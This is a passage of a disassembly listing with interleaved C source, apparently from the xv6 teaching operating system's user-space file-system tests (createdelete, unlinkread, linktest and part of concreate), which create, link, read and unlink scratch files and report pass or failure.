fname = names[i];
fd = open(fname, 0);
total = 0;
while((n = read(fd, buf, sizeof(buf))) > 0){
for(j = 0; j < n; j++){
11e9: 83 45 f0 01 addl $0x1,-0x10(%ebp)
11ed: 8b 45 f0 mov -0x10(%ebp),%eax
11f0: 3b 45 d8 cmp -0x28(%ebp),%eax
11f3: 7c c3 jl 11b8 <fourfiles+0x19e>
if(buf[j] != '0'+i){
printf(1, "wrong char\n");
exit();
}
}
total += n;
11f5: 8b 45 d8 mov -0x28(%ebp),%eax
11f8: 01 45 ec add %eax,-0x14(%ebp)
for(i = 0; i < 2; i++){
fname = names[i];
fd = open(fname, 0);
total = 0;
while((n = read(fd, buf, sizeof(buf))) > 0){
11fb: c7 44 24 08 00 20 00 movl $0x2000,0x8(%esp)
1202: 00
1203: c7 44 24 04 a0 8a 00 movl $0x8aa0,0x4(%esp)
120a: 00
120b: 8b 45 dc mov -0x24(%ebp),%eax
120e: 89 04 24 mov %eax,(%esp)
1211: e8 b7 2c 00 00 call 3ecd <read>
1216: 89 45 d8 mov %eax,-0x28(%ebp)
1219: 83 7d d8 00 cmpl $0x0,-0x28(%ebp)
121d: 7f 90 jg 11af <fourfiles+0x195>
exit();
}
}
total += n;
}
close(fd);
121f: 8b 45 dc mov -0x24(%ebp),%eax
1222: 89 04 24 mov %eax,(%esp)
1225: e8 b3 2c 00 00 call 3edd <close>
if(total != 12*500){
122a: 81 7d ec 70 17 00 00 cmpl $0x1770,-0x14(%ebp)
1231: 74 20 je 1253 <fourfiles+0x239>
printf(1, "wrong length %d\n", total);
1233: 8b 45 ec mov -0x14(%ebp),%eax
1236: 89 44 24 08 mov %eax,0x8(%esp)
123a: c7 44 24 04 65 4a 00 movl $0x4a65,0x4(%esp)
1241: 00
1242: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1249: e8 e7 2d 00 00 call 4035 <printf>
exit();
124e: e8 62 2c 00 00 call 3eb5 <exit>
}
unlink(fname);
1253: 8b 45 e4 mov -0x1c(%ebp),%eax
1256: 89 04 24 mov %eax,(%esp)
1259: e8 a7 2c 00 00 call 3f05 <unlink>
for(pi = 0; pi < 4; pi++){
wait();
}
for(i = 0; i < 2; i++){
125e: 83 45 f4 01 addl $0x1,-0xc(%ebp)
1262: 83 7d f4 01 cmpl $0x1,-0xc(%ebp)
1266: 0f 8e 1a ff ff ff jle 1186 <fourfiles+0x16c>
exit();
}
unlink(fname);
}
printf(1, "fourfiles ok\n");
126c: c7 44 24 04 76 4a 00 movl $0x4a76,0x4(%esp)
1273: 00
1274: c7 04 24 01 00 00 00 movl $0x1,(%esp)
127b: e8 b5 2d 00 00 call 4035 <printf>
}
1280: c9 leave
1281: c3 ret
00001282 <createdelete>:
// four processes create and delete different files in same directory
void
createdelete(void)
{
1282: 55 push %ebp
1283: 89 e5 mov %esp,%ebp
1285: 83 ec 48 sub $0x48,%esp
enum { N = 20 };
int pid, i, fd, pi;
char name[32];
printf(1, "createdelete test\n");
1288: c7 44 24 04 84 4a 00 movl $0x4a84,0x4(%esp)
128f: 00
1290: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1297: e8 99 2d 00 00 call 4035 <printf>
for(pi = 0; pi < 4; pi++){
129c: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
12a3: e9 f4 00 00 00 jmp 139c <createdelete+0x11a>
pid = fork();
12a8: e8 00 2c 00 00 call 3ead <fork>
12ad: 89 45 ec mov %eax,-0x14(%ebp)
if(pid < 0){
12b0: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
12b4: 79 19 jns 12cf <createdelete+0x4d>
printf(1, "fork failed\n");
12b6: c7 44 24 04 a5 44 00 movl $0x44a5,0x4(%esp)
12bd: 00
12be: c7 04 24 01 00 00 00 movl $0x1,(%esp)
12c5: e8 6b 2d 00 00 call 4035 <printf>
exit();
12ca: e8 e6 2b 00 00 call 3eb5 <exit>
}
if(pid == 0){
12cf: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
12d3: 0f 85 bf 00 00 00 jne 1398 <createdelete+0x116>
name[0] = 'p' + pi;
12d9: 8b 45 f0 mov -0x10(%ebp),%eax
12dc: 83 c0 70 add $0x70,%eax
12df: 88 45 c8 mov %al,-0x38(%ebp)
name[2] = '\0';
12e2: c6 45 ca 00 movb $0x0,-0x36(%ebp)
for(i = 0; i < N; i++){
12e6: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
12ed: e9 97 00 00 00 jmp 1389 <createdelete+0x107>
name[1] = '0' + i;
12f2: 8b 45 f4 mov -0xc(%ebp),%eax
12f5: 83 c0 30 add $0x30,%eax
12f8: 88 45 c9 mov %al,-0x37(%ebp)
fd = open(name, O_CREATE | O_RDWR);
12fb: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
1302: 00
1303: 8d 45 c8 lea -0x38(%ebp),%eax
1306: 89 04 24 mov %eax,(%esp)
1309: e8 e7 2b 00 00 call 3ef5 <open>
130e: 89 45 e8 mov %eax,-0x18(%ebp)
if(fd < 0){
1311: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
1315: 79 19 jns 1330 <createdelete+0xae>
printf(1, "create failed\n");
1317: c7 44 24 04 39 4a 00 movl $0x4a39,0x4(%esp)
131e: 00
131f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1326: e8 0a 2d 00 00 call 4035 <printf>
exit();
132b: e8 85 2b 00 00 call 3eb5 <exit>
}
close(fd);
1330: 8b 45 e8 mov -0x18(%ebp),%eax
1333: 89 04 24 mov %eax,(%esp)
1336: e8 a2 2b 00 00 call 3edd <close>
if(i > 0 && (i % 2 ) == 0){
133b: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
133f: 7e 44 jle 1385 <createdelete+0x103>
1341: 8b 45 f4 mov -0xc(%ebp),%eax
1344: 83 e0 01 and $0x1,%eax
1347: 85 c0 test %eax,%eax
1349: 75 3a jne 1385 <createdelete+0x103>
name[1] = '0' + (i / 2);
134b: 8b 45 f4 mov -0xc(%ebp),%eax
134e: 89 c2 mov %eax,%edx
1350: c1 ea 1f shr $0x1f,%edx
1353: 01 d0 add %edx,%eax
1355: d1 f8 sar %eax
1357: 83 c0 30 add $0x30,%eax
135a: 88 45 c9 mov %al,-0x37(%ebp)
if(unlink(name) < 0){
135d: 8d 45 c8 lea -0x38(%ebp),%eax
1360: 89 04 24 mov %eax,(%esp)
1363: e8 9d 2b 00 00 call 3f05 <unlink>
1368: 85 c0 test %eax,%eax
136a: 79 19 jns 1385 <createdelete+0x103>
printf(1, "unlink failed\n");
136c: c7 44 24 04 28 45 00 movl $0x4528,0x4(%esp)
1373: 00
1374: c7 04 24 01 00 00 00 movl $0x1,(%esp)
137b: e8 b5 2c 00 00 call 4035 <printf>
exit();
1380: e8 30 2b 00 00 call 3eb5 <exit>
}
if(pid == 0){
name[0] = 'p' + pi;
name[2] = '\0';
for(i = 0; i < N; i++){
1385: 83 45 f4 01 addl $0x1,-0xc(%ebp)
1389: 83 7d f4 13 cmpl $0x13,-0xc(%ebp)
138d: 0f 8e 5f ff ff ff jle 12f2 <createdelete+0x70>
printf(1, "unlink failed\n");
exit();
}
}
}
exit();
1393: e8 1d 2b 00 00 call 3eb5 <exit>
int pid, i, fd, pi;
char name[32];
printf(1, "createdelete test\n");
for(pi = 0; pi < 4; pi++){
1398: 83 45 f0 01 addl $0x1,-0x10(%ebp)
139c: 83 7d f0 03 cmpl $0x3,-0x10(%ebp)
13a0: 0f 8e 02 ff ff ff jle 12a8 <createdelete+0x26>
}
exit();
}
}
for(pi = 0; pi < 4; pi++){
13a6: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
13ad: eb 09 jmp 13b8 <createdelete+0x136>
wait();
13af: e8 09 2b 00 00 call 3ebd <wait>
}
exit();
}
}
for(pi = 0; pi < 4; pi++){
13b4: 83 45 f0 01 addl $0x1,-0x10(%ebp)
13b8: 83 7d f0 03 cmpl $0x3,-0x10(%ebp)
13bc: 7e f1 jle 13af <createdelete+0x12d>
wait();
}
name[0] = name[1] = name[2] = 0;
13be: c6 45 ca 00 movb $0x0,-0x36(%ebp)
13c2: 0f b6 45 ca movzbl -0x36(%ebp),%eax
13c6: 88 45 c9 mov %al,-0x37(%ebp)
13c9: 0f b6 45 c9 movzbl -0x37(%ebp),%eax
13cd: 88 45 c8 mov %al,-0x38(%ebp)
for(i = 0; i < N; i++){
13d0: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
13d7: e9 bb 00 00 00 jmp 1497 <createdelete+0x215>
for(pi = 0; pi < 4; pi++){
13dc: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
13e3: e9 a1 00 00 00 jmp 1489 <createdelete+0x207>
name[0] = 'p' + pi;
13e8: 8b 45 f0 mov -0x10(%ebp),%eax
13eb: 83 c0 70 add $0x70,%eax
13ee: 88 45 c8 mov %al,-0x38(%ebp)
name[1] = '0' + i;
13f1: 8b 45 f4 mov -0xc(%ebp),%eax
13f4: 83 c0 30 add $0x30,%eax
13f7: 88 45 c9 mov %al,-0x37(%ebp)
fd = open(name, 0);
13fa: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
1401: 00
1402: 8d 45 c8 lea -0x38(%ebp),%eax
1405: 89 04 24 mov %eax,(%esp)
1408: e8 e8 2a 00 00 call 3ef5 <open>
140d: 89 45 e8 mov %eax,-0x18(%ebp)
if((i == 0 || i >= N/2) && fd < 0){
1410: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
1414: 74 06 je 141c <createdelete+0x19a>
1416: 83 7d f4 09 cmpl $0x9,-0xc(%ebp)
141a: 7e 26 jle 1442 <createdelete+0x1c0>
141c: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
1420: 79 20 jns 1442 <createdelete+0x1c0>
printf(1, "oops createdelete %s didn't exist\n", name);
1422: 8d 45 c8 lea -0x38(%ebp),%eax
1425: 89 44 24 08 mov %eax,0x8(%esp)
1429: c7 44 24 04 98 4a 00 movl $0x4a98,0x4(%esp)
1430: 00
1431: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1438: e8 f8 2b 00 00 call 4035 <printf>
exit();
143d: e8 73 2a 00 00 call 3eb5 <exit>
} else if((i >= 1 && i < N/2) && fd >= 0){
1442: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
1446: 7e 2c jle 1474 <createdelete+0x1f2>
1448: 83 7d f4 09 cmpl $0x9,-0xc(%ebp)
144c: 7f 26 jg 1474 <createdelete+0x1f2>
144e: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
1452: 78 20 js 1474 <createdelete+0x1f2>
printf(1, "oops createdelete %s did exist\n", name);
1454: 8d 45 c8 lea -0x38(%ebp),%eax
1457: 89 44 24 08 mov %eax,0x8(%esp)
145b: c7 44 24 04 bc 4a 00 movl $0x4abc,0x4(%esp)
1462: 00
1463: c7 04 24 01 00 00 00 movl $0x1,(%esp)
146a: e8 c6 2b 00 00 call 4035 <printf>
exit();
146f: e8 41 2a 00 00 call 3eb5 <exit>
}
if(fd >= 0)
1474: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
1478: 78 0b js 1485 <createdelete+0x203>
close(fd);
147a: 8b 45 e8 mov -0x18(%ebp),%eax
147d: 89 04 24 mov %eax,(%esp)
1480: e8 58 2a 00 00 call 3edd <close>
wait();
}
name[0] = name[1] = name[2] = 0;
for(i = 0; i < N; i++){
for(pi = 0; pi < 4; pi++){
1485: 83 45 f0 01 addl $0x1,-0x10(%ebp)
1489: 83 7d f0 03 cmpl $0x3,-0x10(%ebp)
148d: 0f 8e 55 ff ff ff jle 13e8 <createdelete+0x166>
for(pi = 0; pi < 4; pi++){
wait();
}
name[0] = name[1] = name[2] = 0;
for(i = 0; i < N; i++){
1493: 83 45 f4 01 addl $0x1,-0xc(%ebp)
1497: 83 7d f4 13 cmpl $0x13,-0xc(%ebp)
149b: 0f 8e 3b ff ff ff jle 13dc <createdelete+0x15a>
if(fd >= 0)
close(fd);
}
}
for(i = 0; i < N; i++){
14a1: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
14a8: eb 34 jmp 14de <createdelete+0x25c>
for(pi = 0; pi < 4; pi++){
14aa: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
14b1: eb 21 jmp 14d4 <createdelete+0x252>
name[0] = 'p' + i;
14b3: 8b 45 f4 mov -0xc(%ebp),%eax
14b6: 83 c0 70 add $0x70,%eax
14b9: 88 45 c8 mov %al,-0x38(%ebp)
name[1] = '0' + i;
14bc: 8b 45 f4 mov -0xc(%ebp),%eax
14bf: 83 c0 30 add $0x30,%eax
14c2: 88 45 c9 mov %al,-0x37(%ebp)
unlink(name);
14c5: 8d 45 c8 lea -0x38(%ebp),%eax
14c8: 89 04 24 mov %eax,(%esp)
14cb: e8 35 2a 00 00 call 3f05 <unlink>
close(fd);
}
}
for(i = 0; i < N; i++){
for(pi = 0; pi < 4; pi++){
14d0: 83 45 f0 01 addl $0x1,-0x10(%ebp)
14d4: 83 7d f0 03 cmpl $0x3,-0x10(%ebp)
14d8: 7e d9 jle 14b3 <createdelete+0x231>
if(fd >= 0)
close(fd);
}
}
for(i = 0; i < N; i++){
14da: 83 45 f4 01 addl $0x1,-0xc(%ebp)
14de: 83 7d f4 13 cmpl $0x13,-0xc(%ebp)
14e2: 7e c6 jle 14aa <createdelete+0x228>
name[1] = '0' + i;
unlink(name);
}
}
printf(1, "createdelete ok\n");
14e4: c7 44 24 04 dc 4a 00 movl $0x4adc,0x4(%esp)
14eb: 00
14ec: c7 04 24 01 00 00 00 movl $0x1,(%esp)
14f3: e8 3d 2b 00 00 call 4035 <printf>
}
14f8: c9 leave
14f9: c3 ret
000014fa <unlinkread>:
// can I unlink a file and still read it?
void
unlinkread(void)
{
14fa: 55 push %ebp
14fb: 89 e5 mov %esp,%ebp
14fd: 83 ec 28 sub $0x28,%esp
int fd, fd1;
printf(1, "unlinkread test\n");
1500: c7 44 24 04 ed 4a 00 movl $0x4aed,0x4(%esp)
1507: 00
1508: c7 04 24 01 00 00 00 movl $0x1,(%esp)
150f: e8 21 2b 00 00 call 4035 <printf>
fd = open("unlinkread", O_CREATE | O_RDWR);
1514: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
151b: 00
151c: c7 04 24 fe 4a 00 00 movl $0x4afe,(%esp)
1523: e8 cd 29 00 00 call 3ef5 <open>
1528: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0){
152b: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
152f: 79 19 jns 154a <unlinkread+0x50>
printf(1, "create unlinkread failed\n");
1531: c7 44 24 04 09 4b 00 movl $0x4b09,0x4(%esp)
1538: 00
1539: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1540: e8 f0 2a 00 00 call 4035 <printf>
exit();
1545: e8 6b 29 00 00 call 3eb5 <exit>
}
write(fd, "hello", 5);
154a: c7 44 24 08 05 00 00 movl $0x5,0x8(%esp)
1551: 00
1552: c7 44 24 04 23 4b 00 movl $0x4b23,0x4(%esp)
1559: 00
155a: 8b 45 f4 mov -0xc(%ebp),%eax
155d: 89 04 24 mov %eax,(%esp)
1560: e8 70 29 00 00 call 3ed5 <write>
close(fd);
1565: 8b 45 f4 mov -0xc(%ebp),%eax
1568: 89 04 24 mov %eax,(%esp)
156b: e8 6d 29 00 00 call 3edd <close>
fd = open("unlinkread", O_RDWR);
1570: c7 44 24 04 02 00 00 movl $0x2,0x4(%esp)
1577: 00
1578: c7 04 24 fe 4a 00 00 movl $0x4afe,(%esp)
157f: e8 71 29 00 00 call 3ef5 <open>
1584: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0){
1587: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
158b: 79 19 jns 15a6 <unlinkread+0xac>
printf(1, "open unlinkread failed\n");
158d: c7 44 24 04 29 4b 00 movl $0x4b29,0x4(%esp)
1594: 00
1595: c7 04 24 01 00 00 00 movl $0x1,(%esp)
159c: e8 94 2a 00 00 call 4035 <printf>
exit();
15a1: e8 0f 29 00 00 call 3eb5 <exit>
}
if(unlink("unlinkread") != 0){
15a6: c7 04 24 fe 4a 00 00 movl $0x4afe,(%esp)
15ad: e8 53 29 00 00 call 3f05 <unlink>
15b2: 85 c0 test %eax,%eax
15b4: 74 19 je 15cf <unlinkread+0xd5>
printf(1, "unlink unlinkread failed\n");
15b6: c7 44 24 04 41 4b 00 movl $0x4b41,0x4(%esp)
15bd: 00
15be: c7 04 24 01 00 00 00 movl $0x1,(%esp)
15c5: e8 6b 2a 00 00 call 4035 <printf>
exit();
15ca: e8 e6 28 00 00 call 3eb5 <exit>
}
fd1 = open("unlinkread", O_CREATE | O_RDWR);
15cf: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
15d6: 00
15d7: c7 04 24 fe 4a 00 00 movl $0x4afe,(%esp)
15de: e8 12 29 00 00 call 3ef5 <open>
15e3: 89 45 f0 mov %eax,-0x10(%ebp)
write(fd1, "yyy", 3);
15e6: c7 44 24 08 03 00 00 movl $0x3,0x8(%esp)
15ed: 00
15ee: c7 44 24 04 5b 4b 00 movl $0x4b5b,0x4(%esp)
15f5: 00
15f6: 8b 45 f0 mov -0x10(%ebp),%eax
15f9: 89 04 24 mov %eax,(%esp)
15fc: e8 d4 28 00 00 call 3ed5 <write>
close(fd1);
1601: 8b 45 f0 mov -0x10(%ebp),%eax
1604: 89 04 24 mov %eax,(%esp)
1607: e8 d1 28 00 00 call 3edd <close>
if(read(fd, buf, sizeof(buf)) != 5){
160c: c7 44 24 08 00 20 00 movl $0x2000,0x8(%esp)
1613: 00
1614: c7 44 24 04 a0 8a 00 movl $0x8aa0,0x4(%esp)
161b: 00
161c: 8b 45 f4 mov -0xc(%ebp),%eax
161f: 89 04 24 mov %eax,(%esp)
1622: e8 a6 28 00 00 call 3ecd <read>
1627: 83 f8 05 cmp $0x5,%eax
162a: 74 19 je 1645 <unlinkread+0x14b>
printf(1, "unlinkread read failed");
162c: c7 44 24 04 5f 4b 00 movl $0x4b5f,0x4(%esp)
1633: 00
1634: c7 04 24 01 00 00 00 movl $0x1,(%esp)
163b: e8 f5 29 00 00 call 4035 <printf>
exit();
1640: e8 70 28 00 00 call 3eb5 <exit>
}
if(buf[0] != 'h'){
1645: 0f b6 05 a0 8a 00 00 movzbl 0x8aa0,%eax
164c: 3c 68 cmp $0x68,%al
164e: 74 19 je 1669 <unlinkread+0x16f>
printf(1, "unlinkread wrong data\n");
1650: c7 44 24 04 76 4b 00 movl $0x4b76,0x4(%esp)
1657: 00
1658: c7 04 24 01 00 00 00 movl $0x1,(%esp)
165f: e8 d1 29 00 00 call 4035 <printf>
exit();
1664: e8 4c 28 00 00 call 3eb5 <exit>
}
if(write(fd, buf, 10) != 10){
1669: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
1670: 00
1671: c7 44 24 04 a0 8a 00 movl $0x8aa0,0x4(%esp)
1678: 00
1679: 8b 45 f4 mov -0xc(%ebp),%eax
167c: 89 04 24 mov %eax,(%esp)
167f: e8 51 28 00 00 call 3ed5 <write>
1684: 83 f8 0a cmp $0xa,%eax
1687: 74 19 je 16a2 <unlinkread+0x1a8>
printf(1, "unlinkread write failed\n");
1689: c7 44 24 04 8d 4b 00 movl $0x4b8d,0x4(%esp)
1690: 00
1691: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1698: e8 98 29 00 00 call 4035 <printf>
exit();
169d: e8 13 28 00 00 call 3eb5 <exit>
}
close(fd);
16a2: 8b 45 f4 mov -0xc(%ebp),%eax
16a5: 89 04 24 mov %eax,(%esp)
16a8: e8 30 28 00 00 call 3edd <close>
unlink("unlinkread");
16ad: c7 04 24 fe 4a 00 00 movl $0x4afe,(%esp)
16b4: e8 4c 28 00 00 call 3f05 <unlink>
printf(1, "unlinkread ok\n");
16b9: c7 44 24 04 a6 4b 00 movl $0x4ba6,0x4(%esp)
16c0: 00
16c1: c7 04 24 01 00 00 00 movl $0x1,(%esp)
16c8: e8 68 29 00 00 call 4035 <printf>
}
16cd: c9 leave
16ce: c3 ret
000016cf <linktest>:
void
linktest(void)
{
16cf: 55 push %ebp
16d0: 89 e5 mov %esp,%ebp
16d2: 83 ec 28 sub $0x28,%esp
int fd;
printf(1, "linktest\n");
16d5: c7 44 24 04 b5 4b 00 movl $0x4bb5,0x4(%esp)
16dc: 00
16dd: c7 04 24 01 00 00 00 movl $0x1,(%esp)
16e4: e8 4c 29 00 00 call 4035 <printf>
unlink("lf1");
16e9: c7 04 24 bf 4b 00 00 movl $0x4bbf,(%esp)
16f0: e8 10 28 00 00 call 3f05 <unlink>
unlink("lf2");
16f5: c7 04 24 c3 4b 00 00 movl $0x4bc3,(%esp)
16fc: e8 04 28 00 00 call 3f05 <unlink>
fd = open("lf1", O_CREATE|O_RDWR);
1701: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
1708: 00
1709: c7 04 24 bf 4b 00 00 movl $0x4bbf,(%esp)
1710: e8 e0 27 00 00 call 3ef5 <open>
1715: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0){
1718: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
171c: 79 19 jns 1737 <linktest+0x68>
printf(1, "create lf1 failed\n");
171e: c7 44 24 04 c7 4b 00 movl $0x4bc7,0x4(%esp)
1725: 00
1726: c7 04 24 01 00 00 00 movl $0x1,(%esp)
172d: e8 03 29 00 00 call 4035 <printf>
exit();
1732: e8 7e 27 00 00 call 3eb5 <exit>
}
if(write(fd, "hello", 5) != 5){
1737: c7 44 24 08 05 00 00 movl $0x5,0x8(%esp)
173e: 00
173f: c7 44 24 04 23 4b 00 movl $0x4b23,0x4(%esp)
1746: 00
1747: 8b 45 f4 mov -0xc(%ebp),%eax
174a: 89 04 24 mov %eax,(%esp)
174d: e8 83 27 00 00 call 3ed5 <write>
1752: 83 f8 05 cmp $0x5,%eax
1755: 74 19 je 1770 <linktest+0xa1>
printf(1, "write lf1 failed\n");
1757: c7 44 24 04 da 4b 00 movl $0x4bda,0x4(%esp)
175e: 00
175f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1766: e8 ca 28 00 00 call 4035 <printf>
exit();
176b: e8 45 27 00 00 call 3eb5 <exit>
}
close(fd);
1770: 8b 45 f4 mov -0xc(%ebp),%eax
1773: 89 04 24 mov %eax,(%esp)
1776: e8 62 27 00 00 call 3edd <close>
if(link("lf1", "lf2") < 0){
177b: c7 44 24 04 c3 4b 00 movl $0x4bc3,0x4(%esp)
1782: 00
1783: c7 04 24 bf 4b 00 00 movl $0x4bbf,(%esp)
178a: e8 86 27 00 00 call 3f15 <link>
178f: 85 c0 test %eax,%eax
1791: 79 19 jns 17ac <linktest+0xdd>
printf(1, "link lf1 lf2 failed\n");
1793: c7 44 24 04 ec 4b 00 movl $0x4bec,0x4(%esp)
179a: 00
179b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
17a2: e8 8e 28 00 00 call 4035 <printf>
exit();
17a7: e8 09 27 00 00 call 3eb5 <exit>
}
unlink("lf1");
17ac: c7 04 24 bf 4b 00 00 movl $0x4bbf,(%esp)
17b3: e8 4d 27 00 00 call 3f05 <unlink>
if(open("lf1", 0) >= 0){
17b8: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
17bf: 00
17c0: c7 04 24 bf 4b 00 00 movl $0x4bbf,(%esp)
17c7: e8 29 27 00 00 call 3ef5 <open>
17cc: 85 c0 test %eax,%eax
17ce: 78 19 js 17e9 <linktest+0x11a>
printf(1, "unlinked lf1 but it is still there!\n");
17d0: c7 44 24 04 04 4c 00 movl $0x4c04,0x4(%esp)
17d7: 00
17d8: c7 04 24 01 00 00 00 movl $0x1,(%esp)
17df: e8 51 28 00 00 call 4035 <printf>
exit();
17e4: e8 cc 26 00 00 call 3eb5 <exit>
}
fd = open("lf2", 0);
17e9: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
17f0: 00
17f1: c7 04 24 c3 4b 00 00 movl $0x4bc3,(%esp)
17f8: e8 f8 26 00 00 call 3ef5 <open>
17fd: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0){
1800: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
1804: 79 19 jns 181f <linktest+0x150>
printf(1, "open lf2 failed\n");
1806: c7 44 24 04 29 4c 00 movl $0x4c29,0x4(%esp)
180d: 00
180e: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1815: e8 1b 28 00 00 call 4035 <printf>
exit();
181a: e8 96 26 00 00 call 3eb5 <exit>
}
if(read(fd, buf, sizeof(buf)) != 5){
181f: c7 44 24 08 00 20 00 movl $0x2000,0x8(%esp)
1826: 00
1827: c7 44 24 04 a0 8a 00 movl $0x8aa0,0x4(%esp)
182e: 00
182f: 8b 45 f4 mov -0xc(%ebp),%eax
1832: 89 04 24 mov %eax,(%esp)
1835: e8 93 26 00 00 call 3ecd <read>
183a: 83 f8 05 cmp $0x5,%eax
183d: 74 19 je 1858 <linktest+0x189>
printf(1, "read lf2 failed\n");
183f: c7 44 24 04 3a 4c 00 movl $0x4c3a,0x4(%esp)
1846: 00
1847: c7 04 24 01 00 00 00 movl $0x1,(%esp)
184e: e8 e2 27 00 00 call 4035 <printf>
exit();
1853: e8 5d 26 00 00 call 3eb5 <exit>
}
close(fd);
1858: 8b 45 f4 mov -0xc(%ebp),%eax
185b: 89 04 24 mov %eax,(%esp)
185e: e8 7a 26 00 00 call 3edd <close>
if(link("lf2", "lf2") >= 0){
1863: c7 44 24 04 c3 4b 00 movl $0x4bc3,0x4(%esp)
186a: 00
186b: c7 04 24 c3 4b 00 00 movl $0x4bc3,(%esp)
1872: e8 9e 26 00 00 call 3f15 <link>
1877: 85 c0 test %eax,%eax
1879: 78 19 js 1894 <linktest+0x1c5>
printf(1, "link lf2 lf2 succeeded! oops\n");
187b: c7 44 24 04 4b 4c 00 movl $0x4c4b,0x4(%esp)
1882: 00
1883: c7 04 24 01 00 00 00 movl $0x1,(%esp)
188a: e8 a6 27 00 00 call 4035 <printf>
exit();
188f: e8 21 26 00 00 call 3eb5 <exit>
}
unlink("lf2");
1894: c7 04 24 c3 4b 00 00 movl $0x4bc3,(%esp)
189b: e8 65 26 00 00 call 3f05 <unlink>
if(link("lf2", "lf1") >= 0){
18a0: c7 44 24 04 bf 4b 00 movl $0x4bbf,0x4(%esp)
18a7: 00
18a8: c7 04 24 c3 4b 00 00 movl $0x4bc3,(%esp)
18af: e8 61 26 00 00 call 3f15 <link>
18b4: 85 c0 test %eax,%eax
18b6: 78 19 js 18d1 <linktest+0x202>
printf(1, "link non-existant succeeded! oops\n");
18b8: c7 44 24 04 6c 4c 00 movl $0x4c6c,0x4(%esp)
18bf: 00
18c0: c7 04 24 01 00 00 00 movl $0x1,(%esp)
18c7: e8 69 27 00 00 call 4035 <printf>
exit();
18cc: e8 e4 25 00 00 call 3eb5 <exit>
}
if(link(".", "lf1") >= 0){
18d1: c7 44 24 04 bf 4b 00 movl $0x4bbf,0x4(%esp)
18d8: 00
18d9: c7 04 24 8f 4c 00 00 movl $0x4c8f,(%esp)
18e0: e8 30 26 00 00 call 3f15 <link>
18e5: 85 c0 test %eax,%eax
18e7: 78 19 js 1902 <linktest+0x233>
printf(1, "link . lf1 succeeded! oops\n");
18e9: c7 44 24 04 91 4c 00 movl $0x4c91,0x4(%esp)
18f0: 00
18f1: c7 04 24 01 00 00 00 movl $0x1,(%esp)
18f8: e8 38 27 00 00 call 4035 <printf>
exit();
18fd: e8 b3 25 00 00 call 3eb5 <exit>
}
printf(1, "linktest ok\n");
1902: c7 44 24 04 ad 4c 00 movl $0x4cad,0x4(%esp)
1909: 00
190a: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1911: e8 1f 27 00 00 call 4035 <printf>
}
1916: c9 leave
1917: c3 ret
00001918 <concreate>:
// test concurrent create/link/unlink of the same file
void
concreate(void)
{
1918: 55 push %ebp
1919: 89 e5 mov %esp,%ebp
191b: 83 ec 68 sub $0x68,%esp
struct {
ushort inum;
char name[14];
} de;
printf(1, "concreate test\n");
191e: c7 44 24 04 ba 4c 00 movl $0x4cba,0x4(%esp)
1925: 00
1926: c7 04 24 01 00 00 00 movl $0x1,(%esp)
192d: e8 03 27 00 00 call 4035 <printf>
file[0] = 'C';
1932: c6 45 e5 43 movb $0x43,-0x1b(%ebp)
file[2] = '\0';
1936: c6 45 e7 00 movb $0x0,-0x19(%ebp)
for(i = 0; i < 40; i++){
193a: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
1941: e9 f7 00 00 00 jmp 1a3d <concreate+0x125>
file[1] = '0' + i;
1946: 8b 45 f4 mov -0xc(%ebp),%eax
1949: 83 c0 30 add $0x30,%eax
194c: 88 45 e6 mov %al,-0x1a(%ebp)
unlink(file);
194f: 8d 45 e5 lea -0x1b(%ebp),%eax
1952: 89 04 24 mov %eax,(%esp)
1955: e8 ab 25 00 00 call 3f05 <unlink>
pid = fork();
195a: e8 4e 25 00 00 call 3ead <fork>
195f: 89 45 ec mov %eax,-0x14(%ebp)
if(pid && (i % 3) == 1){
1962: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
1966: 74 3a je 19a2 <concreate+0x8a>
1968: 8b 4d f4 mov -0xc(%ebp),%ecx
196b: ba 56 55 55 55 mov $0x55555556,%edx
1970: 89 c8 mov %ecx,%eax
1972: f7 ea imul %edx
1974: 89 c8 mov %ecx,%eax
1976: c1 f8 1f sar $0x1f,%eax
1979: 29 c2 sub %eax,%edx
197b: 89 d0 mov %edx,%eax
197d: 01 c0 add %eax,%eax
197f: 01 d0 add %edx,%eax
1981: 29 c1 sub %eax,%ecx
